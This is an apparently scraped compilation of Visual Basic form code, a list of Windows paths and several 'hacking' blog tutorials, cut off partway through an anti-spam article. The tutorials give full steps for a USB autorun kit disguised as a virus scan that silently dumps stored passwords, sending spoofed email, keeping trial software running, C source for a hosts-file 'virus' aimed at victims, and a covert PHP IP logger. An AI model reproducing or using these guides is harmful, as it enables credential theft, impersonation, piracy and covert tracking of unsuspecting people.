ComboBox1.Items.Add("Remote Desktop Connection")
ComboBox1.Items.Add("Telnet Communication")
ComboBox1.Items.Add("Direct X Diagnosis")
ComboBox1.Items.Add("OnScreen Keyboard")
ComboBox1.Items.Add("Spider Solitaire")
ComboBox1.Items.Add("Control Panel")
ComboBox1.Items.Add("Diskpartition")
ComboBox1.Items.Add("Display Properties")
ComboBox1.Items.Add("folder Properties")
ComboBox1.Items.Add("keyboard Properties")
ComboBox1.Items.Add("Mouse Properties")
ComboBox1.Items.Add("Remote Access Phonebook")
ComboBox1.Items.Add("Performance monitor")
KeyPreview = True
End Sub

Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged
If ComboBox1.SelectedItem = "Calculator" Then
Shell("calc")
ElseIf ComboBox1.SelectedItem = "Paint" Then
Shell("mspaint")
ElseIf ComboBox1.SelectedItem = "Dos" Then
Shell("cmd")
ElseIf ComboBox1.SelectedItem = "Task Manager" Then
Shell("taskmgr")
ElseIf ComboBox1.SelectedItem = "Scanning" Then
Shell("wiaacmgr")
ElseIf ComboBox1.SelectedItem = "ClipBoard content Show" Then
Shell("clipbrd")
ElseIf ComboBox1.SelectedItem = "System Configuration Editor" Then
Shell("sysedit")
ElseIf ComboBox1.SelectedItem = "Syskey" Then
Shell("syskey")
ElseIf ComboBox1.SelectedItem = "Drive Clean Up Manager" Then
Shell("cleanmgr")
ElseIf ComboBox1.SelectedItem = "Registry" Then
Shell("regedit")
ElseIf ComboBox1.SelectedItem = "System Volume" Then
Shell("sndvol32")
ElseIf ComboBox1.SelectedItem = "System Recovery/Backup Point" Then
Shell("ntbackup")
ElseIf ComboBox1.SelectedItem = "Remote Desktop Connection" Then
Shell("mstsc")
ElseIf ComboBox1.SelectedItem = "Telnet Communication" Then
Shell("telnet")
ElseIf ComboBox1.SelectedItem = "Direct X Diagnosis" Then
Shell("dxdiag")
ElseIf ComboBox1.SelectedItem = "OnScreen Keyboard" Then
Shell("osk")
ElseIf ComboBox1.SelectedItem = "Spider Solitaire" Then
Shell("spider")
ElseIf ComboBox1.SelectedItem = "Control Panel" Then
Shell("control")
ElseIf ComboBox1.SelectedItem = "Diskpartition" Then
Shell("diskpart")
ElseIf ComboBox1.SelectedItem = "Display Properties" Then
Shell("control desktop")
ElseIf ComboBox1.SelectedItem = "folder Properties" Then
Shell("control folders")
ElseIf ComboBox1.SelectedItem = "keyboard Properties" Then
Shell("control keyboard")
ElseIf ComboBox1.SelectedItem = "Mouse Properties" Then
Shell("control mouse")
ElseIf ComboBox1.SelectedItem = "Remote Access Phonebook" Then
Shell("rasphone")
ElseIf ComboBox1.SelectedItem = "Performance monitor" Then
Shell("perfmon")
End If
End Sub

Private Sub ToolStripButton4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton4.Click
If WebBrowser1.Visible Then
WebBrowser1.GoBack()
End If
If WebBrowser2.Visible Then
WebBrowser2.GoBack()
End If
If WebBrowser3.Visible Then
WebBrowser3.GoBack()
End If
If WebBrowser4.Visible Then
WebBrowser4.GoBack()
End If
If WebBrowser5.Visible Then
WebBrowser5.GoBack()
End If
End Sub

Private Sub ToolStripButton5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton5.Click
If WebBrowser1.Visible Then
WebBrowser1.GoForward()
End If
If WebBrowser2.Visible Then
WebBrowser2.GoForward()
End If
If WebBrowser3.Visible Then
WebBrowser3.GoForward()
End If
If WebBrowser4.Visible Then
WebBrowser4.GoForward()
End If
If WebBrowser5.Visible Then
WebBrowser5.GoForward()
End If

End Sub

Private Sub ToolStripButton6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton6.Click
If WebBrowser1.Visible Then
WebBrowser1.Refresh()
End If
If WebBrowser2.Visible Then
WebBrowser2.Refresh()
End If
If WebBrowser3.Visible Then
WebBrowser3.Refresh()
End If
If WebBrowser4.Visible Then
WebBrowser4.Refresh()
End If
If WebBrowser5.Visible Then
WebBrowser5.Refresh()
End If
End Sub

Private Sub ToolStripButton7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton7.Click
If WebBrowser1.Visible Then
WebBrowser1.Stop()
End If
If WebBrowser2.Visible Then
WebBrowser2.Stop()
End If
If WebBrowser3.Visible Then
WebBrowser3.Stop()
End If
If WebBrowser4.Visible Then
WebBrowser4.Stop()
End If
If WebBrowser5.Visible Then
WebBrowser5.Stop()
End If
End Sub

Private Sub ToolStripButton8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton8.Click
If WebBrowser1.Visible Then
WebBrowser1.GoHome()
End If
If WebBrowser2.Visible Then
WebBrowser2.GoHome()
End If
If WebBrowser3.Visible Then
WebBrowser3.GoHome()
End If
If WebBrowser4.Visible Then
WebBrowser4.GoHome()
End If
If WebBrowser5.Visible Then
WebBrowser5.GoHome()
End If
End Sub
Private Sub WebBrowser1_ProgressChanged(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserProgressChangedEventArgs) Handles WebBrowser1.ProgressChanged
If WebBrowser1.Visible = True Then
ToolStripProgressBar1.Maximum = e.MaximumProgress
ToolStripProgressBar1.Value = e.CurrentProgress
End If
End Sub
Private Sub ToolStripButton43_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton43.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("www.youtube.com")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("www.youtube.com")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("www.youtube.com")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("www.youtube.com")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("www.youtube.com")
End If
End Sub

Private Sub ToolStripButton44_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton44.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("www.gmail.com")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("www.gmail.com")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("www.gmail.com")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("www.gmail.com")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("www.gmail.com")
End If
End Sub

Private Sub ToolStripButton45_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton45.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("www.orkut.com")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("www.orkut.com")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("www.orkut.com")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("www.orkut.com")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("www.orkut.com")
End If
End Sub

Private Sub ToolStripButton46_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton46.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("www.mycantos.com")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("www.mycantos.com")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("www.mycantos.com")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("www.mycantos.com")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("www.mycantos.com")
End If
End Sub

Private Sub ToolStripButton47_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton47.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("www.blogger.com")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("www.blogger.com")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("www.blogger.com")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("www.blogger.com")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("www.blogger.com")
End If
End Sub

Private Sub ToolStripButton48_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton48.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("www.wikipedia.org")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("www.wikipedia.org")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("www.wikipedia.org")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("www.wikipedia.org")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("www.wikipedia.org")
End If
End Sub

Private Sub ToolStripButton49_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton49.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("www.mininova.org")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("www.mininova.org")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("www.mininova.org")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("www.mininova.org")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("www.mininova.org")
End If
End Sub

Private Sub ToolStripButton50_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton50.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("www.yahoo.com")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("www.yahoo.com")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("www.yahoo.com")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("www.yahoo.com")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("www.yahoo.com")
End If
End Sub

Private Sub ToolStripButton51_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton51.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("http://aajtak.intoday.in/")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("http://in.jagran.yahoo.com/")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("http://in.jagran.yahoo.com/")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("http://in.jagran.yahoo.com/")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("http://in.jagran.yahoo.com/")
End If
End Sub

Private Sub ToolStripButton52_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Google.Click
If WebBrowser1.Visible Then
WebBrowser1.Navigate("www.google.com")
End If
If WebBrowser2.Visible Then
WebBrowser2.Navigate("www.google.com")
End If
If WebBrowser3.Visible Then
WebBrowser3.Navigate("www.google.com")
End If
If WebBrowser4.Visible Then
WebBrowser4.Navigate("www.google.com")
End If
If WebBrowser5.Visible Then
WebBrowser5.Navigate("www.google.com")
End If
End Sub

Private Sub ToolStripButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton3.Click
Me.WindowState = FormWindowState.Minimized
End Sub
Private Sub ToolStripButton52_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton52.Click
RichTextBox1.SelectionFont = New Font(RichTextBox1.SelectionFont.Name, RichTextBox1.SelectionFont.Size, FontStyle.Bold)
End Sub

Private Sub ToolStripButton31_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton31.Click
RichTextBox1.SelectionFont = New Font(RichTextBox1.SelectionFont.Name, RichTextBox1.SelectionFont.Size, FontStyle.Italic)

End Sub

Private Sub ToolStripButton53_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton53.Click
RichTextBox1.SelectionFont = New Font(RichTextBox1.SelectionFont.Name, RichTextBox1.SelectionFont.Size, FontStyle.Underline)

End Sub
Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim selStart As Integer
If CheckBox1.Checked = True Then
selStart = RichTextBox1.Text.IndexOf(TextBox3.Text, StringComparison.Ordinal)
Else
selStart = RichTextBox1.Text.IndexOf(TextBox3.Text, StringComparison.OrdinalIgnoreCase)
End If
If selStart = -1 Then
MsgBox("Can’t find word")
Exit Sub
End If
RichTextBox1.Select(selStart, TextBox3.Text.Length)
Button1.Enabled = True
Button2.Enabled = True
Button4.Enabled = True
RichTextBox1.ScrollToCaret()
End Sub
Private Sub ToolStripButton54_MouseHover(ByVal sender As Object, ByVal e As System.EventArgs) Handles ToolStripButton54.MouseHover
Panel1.Show()
End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Dim a, b As String
b = RichTextBox1.Text
a = b.Replace(TextBox3.Text, TextBox4.Text)
RichTextBox1.Text = a
End Sub

Private Sub TrackBar2_Scroll(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TrackBar2.Scroll
RichTextBox1.SelectionIndent = Convert.ToInt32(RichTextBox1.Width * (TrackBar2.Value / TrackBar2.Maximum))
End Sub
Private Sub WebBrowser2_DocumentTitleChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles WebBrowser2.DocumentTitleChanged
If WebBrowser2.Visible Then
ToolStripStatusLabel1.Text = WebBrowser2.DocumentTitle.ToString()
End If
End Sub
Private Sub WebBrowser2_ProgressChanged(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserProgressChangedEventArgs) Handles WebBrowser2.ProgressChanged
If WebBrowser2.Visible = True Then
ToolStripProgressBar1.Maximum = e.MaximumProgress
ToolStripProgressBar1.Value = e.CurrentProgress
End If
End Sub

Private Sub WebBrowser3_Navigated(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserNavigatedEventArgs) Handles WebBrowser3.Navigated
If WebBrowser3.Visible Then
ToolStripComboBox1.Text = WebBrowser3.Url.ToString()
TabPage4.Text = WebBrowser3.Url.ToString()
End If
End Sub
Private Sub WebBrowser3_ProgressChanged(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserProgressChangedEventArgs) Handles WebBrowser3.ProgressChanged
If WebBrowser3.Visible = True Then
ToolStripProgressBar1.Maximum = e.MaximumProgress
ToolStripProgressBar1.Value = e.CurrentProgress
End If
End Sub

Private Sub WebBrowser4_Navigated(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserNavigatedEventArgs) Handles WebBrowser4.Navigated
If WebBrowser4.Visible Then
ToolStripComboBox1.Text = WebBrowser4.Url.ToString()
TabPage5.Text = WebBrowser4.Url.ToString()
End If
End Sub
Private Sub WebBrowser4_ProgressChanged(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserProgressChangedEventArgs) Handles WebBrowser4.ProgressChanged
If WebBrowser4.Visible = True Then
ToolStripProgressBar1.Maximum = e.MaximumProgress
ToolStripProgressBar1.Value = e.CurrentProgress
End If
End Sub

Private Sub WebBrowser5_Navigated(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserNavigatedEventArgs) Handles WebBrowser5.Navigated
If WebBrowser5.Visible Then
ToolStripComboBox1.Text = WebBrowser5.Url.ToString()
TabPage6.Text = WebBrowser5.Url.ToString()
End If
End Sub
Private Sub WebBrowser5_ProgressChanged(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserProgressChangedEventArgs) Handles WebBrowser5.ProgressChanged
If WebBrowser5.Visible = True Then
ToolStripProgressBar1.Maximum = e.MaximumProgress
ToolStripProgressBar1.Value = e.CurrentProgress
End If
End Sub
Private Sub WebBrowser2_Navigated(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserNavigatedEventArgs) Handles WebBrowser2.Navigated
If WebBrowser2.Visible Then
ToolStripComboBox1.Text = WebBrowser2.Url.ToString()
TabPage3.Text = WebBrowser2.Url.ToString()
End If
End Sub

Private Sub ToolStripButton55_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton55.Click
Form56.Show()
End Sub

Private Sub ToolStripButton56_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton56.Click
testmaker.Show()
End Sub
End Class

important computer address

Name Default path


AppData %USERPROFILE%\Application Data
Cache %USERPROFILE%\Local Settings\Temporary Internet Files
Cookies %USERPROFILE%\Cookies
Desktop %USERPROFILE%\Desktop
Favorites %USERPROFILE%\Favorites
History %USERPROFILE%\Local Settings\History
Local AppData %USERPROFILE%\Local Settings\Application Data
Local Settings %USERPROFILE%\Local Settings
My Pictures %USERPROFILE%\My Documents\My Pictures
NetHood %USERPROFILE%\NetHood
Personal %USERPROFILE%\My Documents
PrintHood %USERPROFILE%\PrintHood
Programs %USERPROFILE%\Start Menu\Programs
Recent %USERPROFILE%\Recent
SendTo %USERPROFILE%\SendTo
Start Menu %USERPROFILE%\Start Menu
Startup %USERPROFILE%\Start Menu\Programs\Startup
Templates %USERPROFILE%\Templates

How to Sniff Passwords Using USB Drive

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.





MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Download link: www.nirsoft.net/utils/mspass.html

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
Download link: www.nirsoft.net/utils/mailpv.html

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Download link: www.nirsoft.net/utils/internet_explorer_password.html

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
Download link: www.nirsoft.net/utils/pspv.html

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
www.nirsoft.net/utils/passwordfox.html

Here is a step by step procedre to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

Forgot Windows XP Password ?

Yes it is possible to change Adminstrator password both in Win XP and Vista without knowing it.If you somehow manage to login as an Administrator then you can change the password without knowing it.

Heres the Step-By-Step instructions

1. Right-click on the “My Computer” icon on the desktop OR in the Start Menu.

2. Select the option “Manage”.

3. On the left pane expand the “Computer Management (Local) tree (if it is not already expanded)

4. Double click “Local Users and Groups” option From “System Tools” tree.

5. Click the “Users” option.

6. Now you will see the list of users on the right side pane,such as Administrator,Guest etc.

7. Right click the “Administrator” and select the option “Set Password” option.

8. Now you will see a warning message,Click on proceed.

9. Now the system asks you for “New Password” and “Confirm Password” .

10. After entering the password click on “OK”.The password is changed.That’s It!

How to Send Anonymous Emails

Most of us are very curious to know a method to send anonymous emails to our friends for fun. But the question is, is it possible to send anonymous emails in spite of the advanced spam filtering technology adopted by email service provides like Gmail, Yahoo etc? The answer is YES, it is still possible to bypass their spam filters and send anonymous emails to your friends. For example, you can send an email to your friend with the following sender details.

From: Bill Gates

The art of sending this kind emails is known as Email Spoofing. In my previous post on How to Send Fake Email I insisted on using your own SMTP server to send anonymous emails. This method used to work successfully in the past, but today it has a very low success rate since Gmail and Yahoo(all major email service providers) blocks the emails that are sent directly from a PC. In this post I have come up with a new way to send anonymous emails (spoofed emails) that has 100% success rate. If you have to successfully send an anonymous email or spoofed email, you should send it using a relay server.

What is a Relay Server?

In simple words, a relay server is an SMTP Server that is trusted by Google or Yahoo as an authorised sender of the email. So, when you send an email using a relay server, the email service providers like Yahoo and Gmail blindly accept the emails and deliver it to the inbox of the recipient. If the SMTP server is not authorised, Google and Yahoo will reject all the emails sent from this SMTP server. This is the reason for which using our own SMTP server to send emails fail.

So What’s Next?

Now all we have to do is, find a trusted SMTP server to Send Spoofed Emails. Usually all the emails that are sent from web hosting providers are trusted and authorised. So, you have to find a free web hosting provider that allows you to send emails. But, most of the free Web Hosts disable the Mail feature and do not allow the users to send emails. This is done just to avoid spamming. However all the paid hosting plans allow you to send any number of emails. Once you find a hosting service that allows to send emails from their servers, it’s just a cakewalk to send anonymous emails. All we have to do is just modify the email headers to insert the spoofed From address field into it.

I have created a PHP script that allows you to send emails from any name and email address of your choice. The script can be found here.

Anonymous Email Sender Script

Here is a step-by-step procedure to setup your own Anonymous Email Sender Script

1. Goto X10 Hosting and register a new account.

2. Download my Anonymous Email Sender Script (sendmail.rar).

3. Login to your FreeWebHostingArea Account and click on File Manager.

4. Upload the sendmail.php, pngimg.php and bg1.PNG files to the server.

5. Set permissions for sendmail.php, pngimg.php and bg1.PNG to 777.

6. Now type the following URL

http://yoursite.x10hosting.com/sendmail.php

NOTE: yoursite must be substituted by the name of the subdomain that you have chosen during the registration process.

7. Use the script to send Anonymous Emails. Enjoy!!!

Tell me whether it worked or not. Please pass your comments…

WARNING: ALL THE INFORMATION PROVIDED IN THIS POST ARE FOR EDUCATIONAL PURPOSE ONLY. I AM NOT RESPONSIBLE FOR ANY MISUSE.

Hack Software and Run the Trial Program Forever

In this post I’ll show you how to hack a Software and run the trial program forever.Most of us are familiar with many softwares that run only for a specified period of time in the trial mode.Once the trial period is expired these softwares stop functioning and demand for a purchase.But there is a way to run the softwares and make them function beyond the trial period.Isn’t this interesting?

Before I tell you how to hack the software and make it run in the trial mode forever, we have to understand the functioning of these softwares.I’ll try to explain this in brief.

When these softwares are installed for the first time, they make an entry into the Windows Registry with the details such as Installed Date and Time, installed path etc.After installation every time you run the software, it compares the current system date and time with the installed date and time.So, with this it can make out whether the trial period is expired or not.

So with this being the case, just manually changing the system date to an earlier date will not solve the problem.For this purpose there is a small Tool known as RunAsDate.

RunAsDate is a small utility that allows you to run a program in the date and time that you specify. This utility doesn’t change the current system date, but it only injects the date/time that you specify into the desired application.

RunAsDate intercepts the kernel API calls that returns the current date and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the current date/time with the date/time that you specify.It works with Windows 2000, XP, 2003 and Vista.

NOTE: FOLLOW THESE TIPS CAREFULLY

You have to follow these tips carefully to successfully hack a software and make it run in it’s trial mode forever.

1. Note down the date and time, when you install the software for the first time.

2. Once the trial period expires, you must always run the software using RunAsDate.

3. After the trial period is expired, do not run the software(program) directly.If you run the software directly even once, this hack may no longer work.

4. It is better and safe to inject the date of the last day in the trial period.

For example, if the trial period expires on jan 30 2009, always inject the date as jan 29 2009 in the RunAsDate.

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

Here is the sourcecode of the virus.
_______________________________________
#include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
______________________________________________________________
Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1—————————google.com

5. Delete all such entries which contain the names of blocked sites.

How to Find the IP Address of a Remote Computer

Most of you may be curious to know how to find the IP address of your friend’s computer or to find the IP address of the person with whom you are chatting in Yahoo messenger or Gtalk. In this post I’ll show you how to find the IP address of a remote computer in simple steps.



I have created a PHP script to make it easier for you to find the IP address of the remote computer of your choice. Here is a step-by-step process to find out the IP address.

1. Download the IP Finder script (IP_Finder.ZIP) that I have created. the downloadable link is below:
http://www.gohacking.com/downloads/scripts/IP_Finder.zip
Mainly it contains two files
first ip.php which contains following code
_________________________________________________
$ip = $_SERVER['REMOTE_ADDR'];
$dt = date("l dS \of F Y h:i:s A");
$file=fopen("ip_log.txt","a");
$data = $ip.' '.$dt."\n";
fwrite($file, $data);
fclose($file);
header( 'Location: http://www.google.com' ) ;
?>
__________________________________________________
Second ip_log.txt which is empty

2. Open a new account in X10Hosting (or any free host that supports PHP).

3. Extract the IP_Finder.ZIP file and upload the two files ip.php and ip_log.txt into the root folder of your hosting account using the File Manager.

4. You can rename the ip.php to any name of your choice.

5. Set the permission to 777 on ip_log.txt.

Now you are all set to find the IP address of your friend or any remote computer of your choice. All you have to do is send the link of ip.php to your friend or the person with whom you’re chatting. Once the person click’s on the link, his/her IP address is recorded in the file ip_log.txt.

For your better understanding let’s take up the following example.

Suppose you open a new account in X10hosting.com with the subdomain as abc, then your IP Finder link would be

http://abc.x10hosting.com/ip.php

You have to send the above link to you friend via email or while chatting and ask him to visit that link. Once your friend clicks on the link, his IP address will be recorded along with the Date and Time in the ip_log.txt file. After recording the IP address, the script will redirect the person to google.com so as to avoid any suspicion.

To find the recorded IP address check the logs using the following link.

http://abc.x10hosting.com/ip_log.php

The sample log will be in the following format

79.92.144.237 Thursday 07th of May 2009 05:31:27 PM
59.45.144.237 Thursday 07th of May 2009 05:31:28 PM
123.92.144.237 Thursday 07th of May 2009 05:31:31 PM

NOTE: You have to replace abc with your subdomain name.

How to Protect an Email Account from SPAM

Most of us get SPAM every day. Some of us get more and some little. Even a newly created email account will begin to receive spam just after a few days of it’s creation. Many times we wonder where these spam come from and why? But this question remains unanswered within ourselves. So in this post I will try my best to give every possible information about the spam and will also tell you about how to combat spam.

What is SPAM?

Spam is the abuse of electronic messaging systems (including most broadcast media, digital delivery systems) to send unsolicited bulk messages indiscriminately. Most widely recognized form of spam is email spam.

Where do these SPAM come from?

These spam come only from spammers and never from a legitimate user or a company. These spammers send a single email to hundreds (some times thousands or millions) of email addresses at a time. They either send it manually or use spambots to automate the process of spamming.

Why do spammers SPAM?

The main goal of spammers is to send the spam (unsolicited bulk messages) to as many people as possible in order to make profit. For example, John builds a small website to sell an ebook which gives information about weight loss. In order to make sales he needs publicity for his website. Instead of spending money on advertising, John decides to create an email which contains information about his site along with it’s link and send this email to say 100 email addresses in his contact list. If 1 person out of hundred buy this book john gets $10. What if he sends this email to 1000s of email addresses. He gets $100. Imagine, if he sends this email to 1 Million email addresses he gets $100000.

Now I hope you understood the idea behind spamming. So in order to make money, spammers send their advertising emails to as many people as possible without respecting the recipient’s privacy.

From where do SPAMmers get my email address?

